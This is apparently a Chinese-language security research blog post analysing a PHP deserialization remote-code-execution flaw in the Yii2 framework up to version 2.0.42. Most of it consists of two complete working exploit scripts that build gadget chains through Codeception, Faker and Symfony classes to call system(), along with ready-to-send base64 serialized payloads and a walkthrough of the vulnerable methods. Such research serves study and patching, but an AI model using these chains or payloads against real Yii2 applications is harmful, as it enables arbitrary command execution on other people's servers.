Yii2 <= 2.0.42

研究Yii2最新的反序列化RCE,并参考作者思路挖掘新的Gadget

安装环境

composer create-project --prefer-dist yiisoft/yii2-app-basic yii2

把目录放到网站下,访问http://127.0.0.1/yii2/web即可

然后在controllers/SiteController.php文件下添加我们的测试路由:

public function actionTest()
{
return unserialize(base64_decode($_GET["data"]));
}

漏洞利用

<?php

namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}

class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

# TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=
image-20210603224742097

漏洞分析

入口点在vendor/codeception/codeception/ext/RunProcess.php__destruct方法中,这个方法很早就有人用了,但是官方还没禁止其反序列化

class RunProcess extends Extension
{
public function __destruct()
{
$this->stopProcess(); // 漏洞入口
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) { // 不存在isRunning()方法,调用__call()方法
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

触发vendor/fakerphp/faker/src/Faker/ValidGenerator.php__call()方法

class ValidGenerator
{
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments); // $name为isRunning,$arguments为空,我们可以通过另一个类的__call()函数返回指定值
++$i;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res)); // 命令执行

return $res;
}

上面的call_user_func_array()方法可以利用vendor/fakerphp/faker/src/Faker/DefaultGenerator.php中的__call()方法返回自定义值

class DefaultGenerator
{
public function __call($method, $attributes)
{
return $this->default; // 传入需要执行的命令
}

补充

Yii2的补丁大都是直接加一个__wakeup()方法抛出错误禁止反序列化,即黑名单过滤

跟着作者的思路,全局搜一下__destruct()方法,能用的基本就只剩下上面那个RunProcess类了

只能去搜一下__call()方法,然后发现了下面的UniqueGenerator类,和上面用到的ValidGenerator类很相似

namespace Faker;
class UniqueGenerator
{
public function __call($name, $arguments)
{
if (!isset($this->uniques[$name])) {
$this->uniques[$name] = [];
}
$i = 0;

do {
$res = call_user_func_array([$this->generator, $name], $arguments); // $res可控
++$i;

if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a unique value', $this->maxRetries));
}
} while (array_key_exists(serialize($res), $this->uniques[$name])); // 调用了serialize()方法,可以触发__sleep()方法
$this->uniques[$name][serialize($res)] = null;

return $res;
}

搜索__sleep()方法,来到了熟悉的LazyString类,到这里的思路应该就是全局搜一下call_user_func()方法,看看有没有可控的触发函数,这里我们就直接使用去年就已经被挖出来的LazyString Gadget

namespace Symfony\Component\String;
class LazyString implements \Stringable, \JsonSerializable
{
public function __sleep(): array
{
$this->__toString(); // 调用__toString()

return ['value'];
}

public function __toString()
{
if (\is_string($this->value)) {
return $this->value;
}

try {
return $this->value = ($this->value)(); // 函数可控
} catch (\Throwable $e) {
if (\TypeError::class === \get_class($e) && __FILE__ === $e->getFile()) {
$type = explode(', ', $e->getMessage());
$type = substr(array_pop($type), 0, -\strlen(' returned'));
$r = new \ReflectionFunction($this->value);
$callback = $r->getStaticVariables()['callback'];

$e = new \TypeError(sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type));
}

if (\PHP_VERSION_ID < 70400) {
// leverage the ErrorHandler component with graceful fallback when it's not available
return trigger_error($e, \E_USER_ERROR);
}

throw $e;
}
}

给出最后的exp

<?php

namespace yii\rest
{
class IndexAction{
function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}

namespace Symfony\Component\String
{
use yii\rest\IndexAction;
class LazyString
{
function __construct()
{
$this->value = [new indexAction(), "run"];
}
}
class UnicodeString
{
function __construct()
{
$this->value = new LazyString();
}
}
}

namespace Faker
{
use Symfony\Component\String\LazyString;
class DefaultGenerator
{
function __construct()
{
$this->default = new LazyString();
}
}

class UniqueGenerator
{
function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 99999999;
}

}
}

namespace Codeception\Extension
{
use Faker\UniqueGenerator;
class RunProcess
{
function __construct()
{
$this->processes[] = new UniqueGenerator();
}
}
}

namespace
{
use Codeception\Extension\RunProcess;
$exp = new RunProcess();
echo(base64_encode(serialize($exp)));
}

# TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6OToicHJvY2Vzc2VzIjthOjE6e2k6MDtPOjIxOiJGYWtlclxVbmlxdWVHZW5lcmF0b3IiOjI6e3M6OToiZ2VuZXJhdG9yIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjc6ImRlZmF1bHQiO086MzU6IlN5bWZvbnlcQ29tcG9uZW50XFN0cmluZ1xMYXp5U3RyaW5nIjoxOntzOjU6InZhbHVlIjthOjI6e2k6MDtPOjIwOiJ5aWlccmVzdFxJbmRleEFjdGlvbiI6Mjp7czoyOiJpZCI7czo2OiJ3aG9hbWkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7fWk6MTtzOjM6InJ1biI7fX19czoxMDoibWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=
image-20210604020055359

参考

Yii2反序列化RCE 新POP链

Yii反序列化分析